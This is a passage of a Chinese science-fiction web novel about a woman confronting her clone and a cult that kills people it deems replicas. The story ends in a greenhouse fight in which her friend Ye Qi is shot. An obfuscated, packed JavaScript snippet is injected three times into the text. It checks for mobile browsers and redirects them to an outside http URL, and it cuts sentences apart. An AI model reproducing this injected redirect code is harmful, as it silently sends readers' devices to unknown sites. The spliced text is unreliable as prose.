“吴——Wined·Caster!”叶琦在我身后喊我,“我也是!” 我迈出去的步子停下了,不可置信地回头看她:“你说什么?” “我会杀掉那个吴潍。”叶琦的语气平淡又坚定,站在车外,视线越过车顶盯着我,“吴烛不会反对我,你的挚友也不会。你没有可顾虑的了。” 疯了?叶琦怎么会做出这种事?我匪夷所思地停在原地,搜肠刮肚地想要给她找借口开脱,又想要试图找点有逻辑的话说服她。 但我如鲠在喉。 “……我饿了。”我不想和叶琦闹僵,这是理念分歧,而非真正的背道而驰,“叶琦,我们等会再谈。” 我需要通过她接触到那个所谓的异常信仰组织,叶琦怎么会背叛曾经的自己?谋杀同类,将恶行包装为爱,这根本毫无意义并且远离了真相。 叶琦不能在这条路上走错,最后的真相只会像摧毁我一样,不,甚至更彻底地摧毁她。 我不能再丢下她了。 叶琦找了家饭店。 这座城市的生物科技发达,很多四百年前只有在零散记录上才有的植物,能在这里复现。至于能吃的种类味道如何,那就谁也不知道了。 “别看,快吃。”叶琦嫌我动作磨磨唧唧,就差端着勺子喂我嘴里了,“这家是人类厨师,技术已经没得挑了。” 我看着那一盘光滑泛光的纯色植被,迟迟下不去手,最后闭着眼睛尝了半口。这是我回到上层三天最好吃的一口,真是受够了超市的人类维生餐。 看着叶琦享受看起来诡异的午餐,我还是忍不住去问她:“叶琦,我想问问,你为什么没和丈夫一起生活?” 她停下了动作,看了我一眼又移开视线,最后手里的餐具敲敲碗底,似乎是下定了决心才开口:“是丧偶。他去过辐射区,回来之后的人,是他又不是他。” 熟悉的经历,我努力控制自己不往那方面想。 “别那样看着我。”叶琦有些无奈地看着我,“我还没有疯到对枕边人下手呢,而且没有直接证据。” 也是,我手底下的人,任何不确定信息都需要确凿证据才能盖章。 我问她:“所以发生了什么?” “你会知道的。”叶琦笑了一下,“如果你加入我们,我们会为你安排好一切。” 似乎是我的沉默让叶琦误会了,她撑在桌子上看我:“不用急于这一时,你可以好好考虑。” “那些测试,指的是什么?”我草草结束进食,问她,“没有确凿对比证据,能怎么证明?” 叶琦把我的问题当作一种许可:“择日不如撞日,我们今天就有互助会,我带你去看看就知道了。” 我没有否认,但我有一个计划。 叶琦太急切了,也对我的戒心太低了,似乎单纯地在我面前罗列证据,而非试图让我共情。 叶琦最后想要什么呢? 我印象里的互助会还来自哪部剧集里法医的戒毒俱乐部。 每个人找个小碟子整点廉价甜品,坐在廉价连排座椅上,听讲台上的人如何诉说自己的痛苦和不得已,最后说到自己戒毒到了第几天。 不有趣,但也算得上是精神支柱。 实际上,叶琦带我来的互助会,除了没有食物,座椅看起来舒服很多,其他也半斤八两。整个互助会上来的人并不多,加上我和叶琦也不超过二十个人。 互助会的氛围好得离奇,大家在诉说自己的悲痛与哀伤,互相安慰和拥抱。我夹在中间有些不知所措。叶琦拍了拍我的肩膀,满脸写着“没关系”。 直到有人站在了这片空间的正中央。叶琦拉着我站在围成一圈的人群第二排。我不明所以,看着周围人期待而恳切的目光,心底暗道不妙。 中间的男人看起来很年轻,他沉稳而冷漠地宣布:“我们的信仰得到了回报!今日,有人召回了她的挚友——” 现在这个时候还有人用这种腔调说话?我迅速在心里刷过一条吐槽,下意识地想要逃离,更是因为那人看起来有几分眼熟。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272516|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶琦没有给我下意识逃离的机会,她的手从未如此生硬地压在我的肩膀上,仿佛我是哪位潜逃的稀有罪犯。 他们的视线盯着我,贪婪、羡慕、嫉恨,我忽然听不清周围的人在说什么了。上次这样头脑一片空白,还是被生物复制体从脑后挨了一棍。 叶琦来找我就是个彻头彻尾的错误,就是个,彻头彻尾的陷阱。恍惚间,我听见那个在最中心的人说:“现在,我们应该去修正了。” 我盯着叶琦看。她的每一个表情我都熟悉。弧度完美的柳叶眉,眼下的小痣,嘴角永远噙着浅笑,下额上的浅浅伤疤——但为什么我不认识了? 她的脸上是我不熟悉的热情——和孤注一掷。 无力和委屈、无助和恐慌让我做出了这辈子最冲动的决定:我握紧了拳头,反手拉下她扣着我肩的手,转身,蓄力,连带着先前的困惑和愤怒,挥拳冲向了她的脸。 叶琦猝不及防地跪倒在地,抹过嘴角的血迹,看了眼,抬头困惑地盯着我。周围的人忽然安静下来,为我和叶琦的冲突留下一个狭小的斗兽场。 自己都有点愣神,我的思绪停顿一瞬,忽然又全部涌了上来。 我应该顺从的,我应该打入组织内部的,我应该用更和平的方式,我应该——所有计划在冲昏头的感情面前都是一张薄纸。 我选择了反击,灵魂先于理智先于身体地出拳了。 “你……” 叶琦开口,但疼痛让她有些口齿不清,最后只是怨恨地盯着我看,跟我讨要一个解释。直到如今,我和她之间不需要语言,依然能从她的脸上读出所有意思。 我想说她背叛了我。 带我去见吴潍,看见所谓的“我”是城市法律的破坏者,看见“我”如何夺走了她的挚友;带我去见母亲,看见母亲执着而痛苦的因为思念走入歧途;主动坦白她加入的组织,勾起我的愧疚…… 为了让我接受,让我痛哭流涕地回来? 我会的,但不是这种方式,这种情况。但我说不出口,我才是这一切的开始。 沉默,无从解释。我不再看叶琦的眼睛,我的视线转向了正中心。 那个男人对着我温和地浅笑着,和我对视,蛊惑般地提问叶琦:“叶琦,你真的确定你的测试结果吗?” 叶琦重新站起。我后撤半步拉开距离。 “我会负责这个错误。”叶琦啐出一口血沫,声音平静,“我的测试不够完善,总督。” 总督?这是从哪本核战前的书上抠出来的称呼?我心里想着,但是身体做好了应战准备。 “我申请修正继续。”我听见叶琦说,她的视线转向了我,“我只有一个挚友,吴潍,我会找到她的。” 被称为总督的男人微微点头。 周围人似乎见怪不怪,如同获得了许可一般冲上来阻拦我。我被身后的人撞了个踉跄,顺势伏地,躲开叶琦迎面而来的匕首。 这到底是什么组织?十年前能让一帮乌合之众升级到这种地步?来不及多想,我抓住手边的陌生人脚踝,把她扯到在地,顺利拖延叶琦的下一步动作,利用短暂破开的空隙冲向总督。 我低估了他们的管理员数量,几乎是即将抓住总督脖子的一瞬间,有人冷不丁从侧腹将我踹了出去。 “操!”我忍不住咒骂。 我的后背撞在窗框上。玻璃碎裂的声音从我身后传来,最后整个人摔在窗边的桌面上。剧烈的疼痛让我瞬间失神,恍惚的视野中有人拿着匕首走向我。 支撑着桌边,踉跄着蹲跪在金属桌面上,我看着周围并不怜悯,甚至有嗜血渴望的成员们。 我的身上只有一件单薄的衬衣,手里还没有枪,只有袖口里的一把短匕首。 面对两三个管理层我还能有信心制服,但我没法同时招架十几个人,何况其中得有一半人是训练有素的管理层。 没有做好准备的正面冲突,对我来说胜算太低。 隔着人群,我看向依然脸上看起来没有表情变化的总督,把视线转向缓步上前的叶琦,对着有些迟疑下手的她笑了一下,低声说:“我会把你带回来的。” 随即起身蹬向桌面,在眼前人的惊诧中,我背对着窗口再次撞了出去。只有裂痕的玻璃彻底碎裂,透明玻璃碎片从我视线里飞向天空,失重感也许只有一两秒,最后我摔在了植被上。 该死的绿化!我能感受到有一根枝条戳穿了我的肩膀。没时间对疼痛抒发感情,我翻身爬起,抬头看一眼从窗口探出头的成员,捂着肩膀,拐进最近的城市建筑缝隙。 血液从我的指间流出。虽然避开了主要血管,但是贯穿伤很难止血。 熟悉的血腥味反而让我清醒了不少。靠在角落里看了看手环,早就因为磕在金属桌上报废了。 叫天天不应,叫地地不灵。长叹一声,我也不知道自己记忆里的地下城地图还管不管用。 4. 计划之外的推进 我把衬衫底部的布料扯下,勉强压住肩膀出血口,只要不大幅度动作,我不会有生命危险。 互助会选择的地点在城市边缘。位置不算偏,但周围的建筑大多是空的或者烂尾楼,并不住人。 曾经这里的地下部分还有一个货物中转站,但十年过去了我也不好说还在不在。我只能先去那里碰碰运气,至少想办法止血。 异常信仰组织不会明目张胆地追杀我,对我来说还算有利。那些追踪、反追踪技巧肯定是玩不过我。 撬开锈坏的仓库门,我抬头看一眼落灰的摄像头。没人打理,看起来是荒废了。好消息是货物中转站还在,但运输的标记我从未见过。 生命存在药剂?这是什么城市新药品?我没见过,在下层那种各种违规化合物乱飞的地方都没听说过。 无暇想太多,既然是药剂,那附近也许会有医疗用品。我挨个走过去,看完了整个仓库才意识到这是纯粹的走私。 扯进这种事情绝不是好事,我观察着路线,在货架间规划出去的路。快走到另一扇门口,却听见有人在说话,我连忙攀爬到货架顶端,尽量隐藏身形。 跟着黑衣人进来的人有点眼熟。熟悉的长卷发被高高扎起,听着眼前人说话有些不耐烦,但还是没有发作。 黑衣人停在屏幕面前,操作几下,又对吴潍说:“上头说了,给你的订单已经是最低价了,不能再压了。” “我鞍前马后找了那么多渠道,就算是薄利多销你们都挣出一栋楼了,更何况是暴利?”吴潍说话不算客气,太远了我看不清她的表情,“二成改三成而已,又不是挖你们一块肉。” 我都有点佩服她了。又是改档案,又是做走私,赚那么多钱是要做什么?想不出所以然,我开始琢磨,难道是因为我基因里自带“贪婪”?但我活这么大也没有体现过。 等等,这就是吴潍的居住地情报有误的原因。我眼睛一眯。这就是管理局把我请回来的原因了。 黑衣人又叹气,命苦地转到另一侧跟上司联络去了。吴潍原地踱步等待,忽然停在了我所在的架子下,靠近看了看,又移开了视线。 我大气也不敢出。她就算抬头也看不见我,其实不用紧张。况且才两个人,动起手来绰绰有余。 “这单就算了,下一单给我一个准信。”吴潍忽然开口跟黑衣人说,“我也不想和你们多牵扯。” 黑衣人似乎就在等吴潍这句话,把通讯关掉,重新给她展示出合同。吴潍挥挥手,示意这单赶紧了结。 看着两人验货,最后离开,重新关上仓库门,我才偷偷摸摸地落到地上。在吴潍盯着的位置重新观察了一番,我开始头痛了。 有我的血迹,在箱子角落上,很浅很浅的一点。幸好是光滑塑料而不是纸箱,我可以用袖口彻底擦掉痕迹,打算换条路出去。但如果要原路返回,就需要绕远路,太麻烦了。 反正我也要去找她,干脆撞上得了。这么想着,我还是蹑手蹑脚地打开了仓库门。 没等我在荒废的地下城走过两步,吴潍就出现在了我的身后。 “你看起来需要帮助?”吴潍喊住我,手放在腰间,在我转身后上下打量一番,想走近两步又放弃了。 我低头看了看自己,称得上衣不蔽体。肩膀潦草地绑着布料,半个衬衫都是血迹,衬衫下摆还是破布款,没被遮住的侧腹还有一片淤青。 没反驳她的建议,我斟酌着语气:“能送我去医院吗?” 吴潍挑眉,空手抱胸,没有攻击的意思:“你刚刚在仓库,理论上我应该灭你的口才对。” “我知道。”我叹气,一下两下的又解释不清楚,“事情不是你想的那样。我不了解你们在做什么,我也有把柄在你手里。” 这下忽然感谢起叶琦利用我了,我恨不得跪下来给十年前的她磕一个。吴潍没有反驳,冲我招招手示意从那边走:“怎么不去找叶琦?” 我快步跟上。肾上腺素过去之后腰背肩膀的疼痛更加明显起来,我压着肩膀回答她:“我……跟她之间有一段误会。” “你和朋友们的交往方式还挺,”吴潍又撇了我一眼,“特别的。” 克制着翻白眼的冲动,我低下头不想说太多。我对吴潍其实也有愧疚和亏欠,但我连提都没法提起。 她开了副驾驶的座位,示意我进去。我看了看身上,刚想开口问能不能坐后车厢,她就一把把我推了进去。 “清洗费不要你出,我是助人为乐。”吴潍侧过身,架在座位上,猛打方向盘倒车,“在城市里很少有人伤成这样,你是做了什么天理难容的事情?” “我不是逃犯。”我动了动僵硬的后背,疼得龇牙咧嘴,“就是——” 我不知道应不应该提起这个,但她早晚都会知道,我没有必要隐瞒。 “就是那个组织。”我看着吴潍没什么表情的侧脸,这种看着陌生的自己感觉真的很奇怪,“人类异常信仰,我是从那里逃出来的。” 吴潍沉吟了一声:“那你就不能去医院了。” “什么?”我以为她会更在意吴烛在组织里的问题,“重点是这个吗?” “当然是。”吴潍开了自动驾驶,把座位改成面对,盯着我看,“组织成员的体内可能有标识,要是去医院这种管理局直辖的机构,一定会被盯上的。” 知道得不少,但也在情理之中。吴烛在那个组织里,吴潍当然会不遗余力地去找相关线索。 “说得好像我现在没被盯上一样。”我苦笑着,试图从她嘴里问出更多,“你有什么计划吗?” “计划?”吴潍的语气有些不屑,“我从来不需要计划。我得先问你,为什么要去那个组织?你的档案没和任何人关联,你是移民?” “我算是移民。”我不知道如何解释,毕竟一开始我是来杀她的,不是来尝试和她合作的,“我去那个组织是为了查事情。” 吴潍思考了几秒:“但你没有动机。非亲非故的,你甚至接触不到那个组织。嗯,是因为叶琦?” 我没敢直接承认,只是对这个结果不置可否。她笑了一下:“我们现在是一根绳上的,你可以对我更坦白一点。” “哪一根绳上了?”我明知故问。 她再次摸出屏幕,调出一份记录:“我习惯记录事情,你看完就知道为什么了。现在,我决定帮你。” 那是一份关于吴烛的事件记录。 从八年前开始,吴烛开始质疑吴潍并不是自己的女儿,之后做了很多鉴定,结果只有吴潍是吴烛的女儿,没有被任何人顶替。 吴烛的理由也只有那一条“她不喜欢花”,吴潍没法自证,也没法他证,最后终于在前年断开了联系。 也就是从去年开始,组织主动找上了吴烛,最后一发不可收拾。吴烛甚至申请了在辐射区探索,幸亏吴潍死活不同意,最后才不了了之。 “你为什么换职业了?”我看着文件有些走神,对着母亲连名带姓地喊对我来说太奇怪了,“吴烛的证词里有一条你换了职业,但你没有给出理由?” 吴潍收回屏幕加了一笔,摸着太阳穴对我说:“我有调令,没往上写。似乎之前出了点事故,身体不好才有的调令,我记不清了。” 合理的说词,前线管理员在曾经的人类信仰案件上出事,因病调职。我点了点头,放过这个话题:“你也在查那个组织?” “不算是,只是有一点关联。”吴潍摸了摸下巴,似乎在思考应不应该说出更多,“毕竟是曾经经历过的案件,我也很困惑我当时发生了什么——” “你只是觉得自己不应该这么轻易地放弃,安分呆在普通文职上。”我叹了一口气,“当年的案件你还记得多少?” 吴潍看了我一眼,视线从我的肩膀移动到我的侧腹,最后和我对上视线:“不记得。整个案子对我来说都很模糊,但我的档案没有问题,无从下手探查。” 我从吴潍的眼睛里看见了另一个自己。正常的,热切的,对陌生人都怀着莫名的热心——我本人可完全不会把一个来路不明、浑身是血的违法人员放到自己车上。 我忽然很好奇她如果知道真相会怎么做?像我一样迷茫到失去思维能力?沉默地后悔着一切,在一切无能挽回的时候做杯水车薪的努力? “你想要知道曾经的案件真相吗?”我冲她笑了一下,“我可以帮你。” 吴潍似乎有了些兴趣,再一次上下打量我一番:“说实话,我很怀疑。” 有些不自在地用手遮住侧腹的淤青,我尴尬一笑:“对面人太多了。” 吴潍没有直接拒绝我,只是起身下了车:“到了,走吧。在你做你的大计划之前,先乖乖待两天养伤。” 说实话,我很喜欢吴潍家里的摆设。柔和的色调和暖色系的重色家具点缀,隐藏式的灯光和低声的清洁机器。舒心的,我梦想中的家的氛围。 我当时离开时,这间公寓还是刚装修完水电,准备买大件家具的时候。这是吴潍难得继承到的事情。 人际关系,职业,我的社会关系总和几乎都被抛弃了。审美也是基因决定的吗?我坐在柔软到能陷进去的沙发上,看着茶几上的重力摆件晃动。 “独身公寓没有客房,你就用我的浴室吧。东西都准备好了。”吴潍从卧室里探出头,“你看起来跟我差不多,我找件还没穿的睡衣给你。” 我选择自行处理伤口,她本想帮忙,最后还是争执不过我。需要避免任何能让她意识到自己是生物复制体的可能性,我要在她身上找到一个答案。 站在浴室镜子面前,我把洗完的头发撩到脑后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272517|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。褪去一切化妆品,除了瞳孔颜色,我的脸和吴潍一模一样——当然这话对我来说太奇怪了,我才是本尊。 血迹已经被冲掉,后背的擦伤问题不大,侧腹的淤青只是看起来有些恐怖,最要命的还是肩膀的贯穿伤。直径接近一厘米的深度伤口,我得想办法自己清创。 没有血污遮蔽视线,我才有机会仔细观察伤口。好消息是没有直接穿透骨骼结构,也没有穿透大血管,严格来说也只是斜方肌的皮肉伤;坏消息是清创会非常麻烦,衣服纤维,木质纤维,能不能处理干净全凭运气。 感谢生物科技。如果是在别的城市,我怕是要彻底完蛋了。他们可不会把“医疗技术升级”作为城市科技顶点之一去推进。 我胡思乱想着,试图分散注意力,一鼓作气把上面写着“深度清洁”的瓶罐整个灌进伤口里,歪着身体试图让那些微刺激性的凝胶流经皮肉。 猛然加重而后麻木的疼痛像是生命的进度条一样,缓慢从我的前颈通向后背。谁能想到这种家用的护理剂也有麻醉成分。 我扯出绷带的时候想,十年已经让上层物质丰盛到这个地步了? 一连拆了三罐,我熟练包扎好绷带,看着最后空荡荡的医疗箱有些愧疚。也许我应该划账,但我的任务本身就是顶替吴潍,核心管理层给我的假档案账户没有一分钱。 太抠门了!这就是断开生物复制体的所有退路。不再愤世嫉俗,我得把包裹异物的凝胶清理干净,在地板上沿袭的红褐色痕迹,还有挥之不去的血腥味。 如何处理血迹、血块和血有关的一切都是女性的成长第一课。我熟练打扫完浴室,才看见镜子角落上贴着一张便签,上面写着我小时候的自创密语,翻译过来是:不要忘记。 不要忘记什么呢?这是我不了解吴潍的第一件事。 “抱歉。”我遮盖好眼型和眉眉型特征,端着空箱子走到客厅放在茶几上,“我的伤口比我想象的要麻烦许多。” “不用担心。”吴潍坐在沙发上眨眨眼,端着一杯橙汁,“我不会找你要钱的。现在你想好你的计划了吗?” “我没有计划。”我拉拉睡衣,坐在沙发另一边上,半真半假地袒露心声,“其实我很迷茫。” 吴潍把空杯子放在茶几上,绿色的眼睛安静而真诚地看着我。 妈妈,我要是有个妹妹也就是她这样了。不着边际的想法一闪而过,我在她诚挚的目光里下意识地闪躲:“曾经的挚友在走向深渊,我不知道该如何帮助她。” “你想捣毁那个组织吗?”吴潍轻描淡写地问我,“你看起来不像移民。能从那个组织里‘逃’出来的,不会用移民手段来这个城市。” 我的表情一定困惑得很明显,她忍不住笑了起来:“我们一般管他们叫战术型外聘顾问。” 上层有这个职业吗?我忍不住摸了摸太阳穴:“你知道你这话听起来很像在招聘打手吗?” “我确实需要一个打手。”吴潍的语气严肃起来,但她的眉眼依然是平和的,像是在讨论春日出行,而不是在试图雇我杀掉某个人,“至少身手能好到做我的保镖。” 呃,违规修改档案,走私疑似违禁药品,试图重建第一次人类危险信仰案件细节,也许还有更多,但随便哪一条都值得核心管理层亲自派人来追杀了,比如我,唔,最好是我。 “你为什么这么信任我?”我动了动僵硬的腰板,侧腹的淤青因为拉伸又开始钝痛,“万一我是核心管理层派来杀你的呢?” “你的档案是假的。”吴潍双手托头,歪着头看我,“如果是移民,档案会有移出城水印,你的水印是伪造的;如果你有任务,你的账户不应该是空的。” 我张了张嘴:“我有两个账户。” “嗯哼?”吴潍伸出手,冲我索要空医疗箱的使用费用。一个语气词浓缩了“那你付费吧”的意思。 我作为生命维护执行官的账户里确实有钱,但和上层并不通用,所有费用都需要管理层核实到账,肯定是转不到吴潍账上。 要我说,核心管理层你让吴潍去做生命档案管理员就是个彻头彻尾的错误。我没法反驳了,只好闭嘴不谈真实身份,守好秘密的最后一道防线。 见我无话可说,吴潍两手一摊:“要么你是从辐射区意外回来的人类,要么你的任务就是来杀我的。但如果是后者,你何必去趟那个组织的浑水?” 她站起身在我面前转一圈,细胳膊细腿的在我眼里看起来还怪好捏。展示完毕事实,她开始总结陈述:“你看我,一个文官。训练的痕迹早就聊胜于无,你要是想杀我,我都跑不出两步。” “所以,我只能是辐射区意外回来的人类,还因为被家庭排斥加入了组织。”逻辑还挺通顺,但依然有问题,我接着说,“那我为什么会被追杀?” 5. 计划之外的推进 “因为那个传言是真的。”吴潍重新坐回沙发上,语气里有些不确定,“你是真正的人类本体,而你不愿意去杀那个复制体。自然违反了组织的初衷,被追杀也算合理。” 过程全错,但结果全对,跟自己斗智斗勇的感觉真令人着迷。基因组判定的结果居然真的有相当可信度,我叹气:“你可以这么想。” 我总不能说那个复制体是你吧? “所以,生物复制体的传闻是真的了?”吴潍似乎也很惊讶我的坦诚,“那你为什么不想杀她?她明明替代了你的一切,你才是唯一特别的那个。” 我看着吴潍为我愤愤不平的表情,想到她为我,就算是为了利用我,冒着风险做的一切,在这段对话里我说出了第一句真心话:“她看起来比我更好。” “这算什么理由?”吴潍猛地拉过我的手,恳切地盯着我看,“你周围的所有人都不会接受一个复制品愚弄他们的感情。” 我有些嘲讽地一笑,抽出手,转而迅速伸手卡住她脖子压倒在沙发上,把她压在身下:“假如那个复制品是你呢?你自己也会满心期待复制品的死亡吗?” 吴潍挣扎了一瞬,发觉我没有继续用力,瞬间安静下来。 我听见她平静而真挚地说:“我会。” 不是,我的生物复制体原来当时说的缺陷在这里吗?我有些匪夷所思地放开她,难以置信地往后挪了一个身位。刚刚那些推论不是挺聪明的吗?也不见得是脑部缺陷啊? “唔,毕竟是我偷了别人的人生。”吴潍坐起身,沉浸在这个假设里无法自拔,“朋友们和,母亲,看见真正的吴潍回来应该会更高兴吧?” 提到“母亲”这两个字时,她的语气低了下去。我都不知道她是在故意附和我,还是真的这么觉得。这女人,我真的觉得这个吴潍不是我了,自我奉献到一定境界了。 “停止你的圣母发言。”我捂脸打断了她的自言自语,“不知道你是真心的,还是为了让我当你‘保镖’的胡言乱语,都停了。我听不下去。” “其实都不重要。”她重新转入主线,“我只想说,不管你是想不被追杀,还是我要让母亲和那个组织断开联系,我们之间有共同目标。” 其实追杀对我来说无所谓,那些非困兽犹斗的行动都是小打小闹。我看着吴潍伸出手,像是某种邀请:“我们可以合作。” 我看着吴潍伸出来的手,没有握上,抬眼用沉默回绝了她的提议。被拒绝的长卷发毫不在意地起身,转头对我说:“你应该不会介意和我睡一张床吧?” 虽然对这个问题摇头,但我闭上眼睛,意识到周围有会呼吸的人类就让我很难入睡。只好想点别的转移注意力。 吴潍的厨艺和我如出一辙,晚饭也是简单的什么都加点的泡面。我想去洗碗,她把我赶去卧室,美名其曰“伤患吃不好还不能休息不好”。 自我奉献是一种缺陷吗?我思考着,听着她均匀的呼吸声。我去做警察也是自我奉献,我不想杀吴潍也是一种自我奉献,但为什么她说出来的“自我奉献”像极了缺陷和虚伪? 我希望那是一种穷尽伪装的虚伪。 深呼吸,我在不会压迫伤口的方向侧身。城市灯光透过缝隙落在木地板上,晃动的线光勾勒出凹凸不平的木板拼接缝隙。 晃动?身体比精神更快反应过来,那把闪着银光的匕首直冲我的脖颈。 我双腿一曲,避开第一刀。趁匕首扎进织物,被重新收起的间隙,我撑着床沿侧翻到木地板上,蹲地蓄力,借力冲向对方。 本想从后背偷袭,双手穿过腋下锁住来人,但对方迅速转身,挥出第二刀。我不得不改变攻击高度,转而抱住对方腰,冲向窗户。临近时迅速放手,那人因为惯性结结实实撞在窗框上。 玻璃碎裂出一声巨响,我听见吴潍下地。保持压制优势,我迅速反折对方拿刀的手腕,拉紧对方将将坠落的衣领,夺刀贴在袭击者的脖子上。 借着城市外昏暗的灯光,我看清了她的脸。 “吴潍,你锁窗了吗?”我拉着叶琦问吴潍。 叶琦有些失重,举起双手保持平衡,她的腿和我拉着她的手时唯二的支点。她不好发力反击,于是场面维持着奇妙的平衡。 “我锁了的!”吴潍磕磕绊绊地回答我,“我怕你受凉,我记得很清楚。” 我就说,没风怎么会有晃动的光线。 “看起来城市里的日子还是很好过。”我对叶琦说,“以前你可不会落在下风。” 她意味不明地一笑,抬头逼近了几分刀刃。我下意识地收回匕首,被她抓住机会,连带着我整个人往外一坠。 我作为发力点的左肩本身就受了伤,叶琦猛地一压我根本拉不住,被她带着节奏再次翻出窗外。 我听见吴潍喊了一声“喂”。 我好像确实没告诉她我叫什么。我的档案是伪造的,我的真名被她占去了,我现在拥有的名字确实只有一个音似“喂”的“Woe”。 坠落的瞬间,我还能走神想到这个。 叶琦挣扎着去抓我拿着匕首的右手。来不及有更多动作,两个人就结结实实地摔在弧面上。光滑的表面拉不住惯性和两个人的重量,还在往边缘滑去。 哪个天才能在八个小时内坠两次楼,真是天才倒霉蛋。吴潍窗户底下并不算高,是隔着三四米的温室玻璃顶。 夺刀争执不下,我干脆松开匕首,用左手去接。我转头看一眼离地近二十米高的天桥温室,叶琦尝试抓着我的左肩推开我。 我吃痛手一软,不耐烦地“啧”一声。在彻底滑出摔死在公路之前,我拼尽全力握紧左手,举起匕首,击碎了身下的最后一块弧顶玻璃板。 叶琦成功推开了我。 我的左肩又开始渗血,疼得我一身冷汗,头部受疼痛限制,根本抬不起来。我摔在了温室地砖上,后背撞在花架上,整个人只感觉头晕眼花。 匕首在我摔在地上时就脱手飞出。理论上这是重大失误,但理论又不考虑实际情况。我撑着地面站起身,靠着花架才站稳。扶着刚包扎好没两个小时的左肩,咳了一声。 周围不知道是花朵本身就颜色多,还是我眼花,整个世界彩得像液晶花屏,无趣到极点的低级审美。 “叶琦!”我拼尽全力喊她,耳朵里的嗡鸣让我不知道我喊了多大声,“那个组织是错误的!生命和感情都不该被这样定义!” “没人……”叶琦摇晃着站起身,她的头正好摔在花架边缘,额头上流下血迹,遥远的低语让我有些听不清。 她应该有些脑震荡,扶着那些金属花架,晃动着步伐,一步一步走向我,嘶吼着:“没人问我!” 她又走近了一步,声嘶力竭:“愿不愿意!” 我的视野终于恢复了一些清明,匕首不在我的视野里,也不在叶琦的手里,短暂地缓气。论体术,叶琦不如我,我有把握钳制她。 她一步一步向我走着,我知道她发泄的情绪并不完全针对我,我只是那个刚好合适的发泄品。 她的声音带了点哭腔,但依然愤怒:“我不愿意!” “凭什么我不知情!”叶琦走到了我最近的花架,冲我控诉着,“凭什么我只能接受替代品?凭什么我们需要保持沉默?我为这座城市付出了那么多,凭什么我不能知道真相?” 在她向我伸手的瞬间,我想要翻身离开,但她只是抓住了我的手,悲痛到空洞的眼睛无助地看着我。恍惚间,我仿佛又看见了第一次见到她受重伤的时候,我动不了了。 看着她跪在地上,抓着我的手,像是抓住了救命稻草,她的声音因为刚刚的声嘶力竭有些暗哑:“告诉我为什么?吴队,我只是想要真相。” 因为这是城市运营到如今的立身之本。这个真相会颠覆,甚至毁掉现在的城市。这是残忍的梦想之城,所有居民,都不应该知道真相。 知道真相,你会像我一样痛苦。 我看着她的褐色眼睛,无神的暗淡的褐色。以前,就在十几个小时之前,我都能看见她眼里的轻快得挥之不去的愉悦。 她不知道真相,已经像我一样痛苦。 我看见吴潍在温室尽头忽然出现,她跑掉了一只拖鞋,焦急而无助地扶在门口大喘气。警笛声由远而近,无人机红蓝的刺目闪光逐渐逼近。 抽出手,我用手擦掉她额头的血迹,但擦不干净。我对着叶琦无力地摇头,垂下眼睛:“我不能说。叶琦,我真的不能说。” 叶琦无神的眼里只有沸腾的仇恨,我绷紧了肌肉准备反应。她的手伸向腰际,那是一针注剂,在空中划了一个很小的弧度,冲向我的大腿。 我看不出这针剂是什么,试图侧步离开,被她的手狠狠往下一拉,眼见着是躲不掉了。 但有枪声比她的针尖更快。 她的身体往子弹射穿的方向一歪,倒在了地上。我才因为她的最后力气跪在了地上,手下一空。 我感觉我的灵魂还没有从那声穿透玻璃的枪响中回过神,但我的身体已经下意识去检查生命体征。 维护治安大多采用空包弹或者麻醉剂,以“控制目标”为目的。 但我为什么看见了血在地板上蔓延?我茫然地伸手去触碰还有温度的血液。浅色的地砖上,血迹蜿蜒着往四周扩散,仿佛透明的密封箱中寻找出路。 我转头去看破碎玻璃外的无人机。它闪着红蓝相间的光,刺痛着我的眼睛。 吴潍在叶琦尸体旁蹲下,伸手合上她的双眼。 她还记得多少呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272518|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怔怔地看着吴潍的手抚过叶琦擦不干净的额头血迹。 她记得我和叶琦在那些严格训练里苦中作乐的夜间谈话吗?她记得我和叶琦在正式入职后的兴奋和惶惑吗? 吴潍会感受到我如今的崩溃和痛苦吗?我的另一种人生载体最后绕过叶琦,把我摁进她的怀里,紧紧地环抱着我,紧到我听到了另一个我的心跳。 透过她怀抱的空隙,我看见滚出的那管针剂上写着:LEA-1863-B。 我被带进了熟悉的警局。曾经的同事坐在我的对面为我做笔录,她递给我一张纸,让我擦擦脸上的血迹。我接过纸张,用点按的方式擦掉血迹。 “Wined·Caster小姐。”她踌躇着句子,在我的脸上看了一眼又一眼,“我问什么你答什么就可以了。你和叶琦是什么关系?” 在训练中同进退的战士,在任务中信任的搭档。我垂下眼睛:“萍水相逢,并不熟悉。” “那你和叶琦是怎么认识的?” 进入生命管理局的同期,最后因为性格兴趣各方面互补而成为朋友。我压着感情回答:“我是移民,流落街头的时候她帮了我一把。” “她为什么会攻击你?” 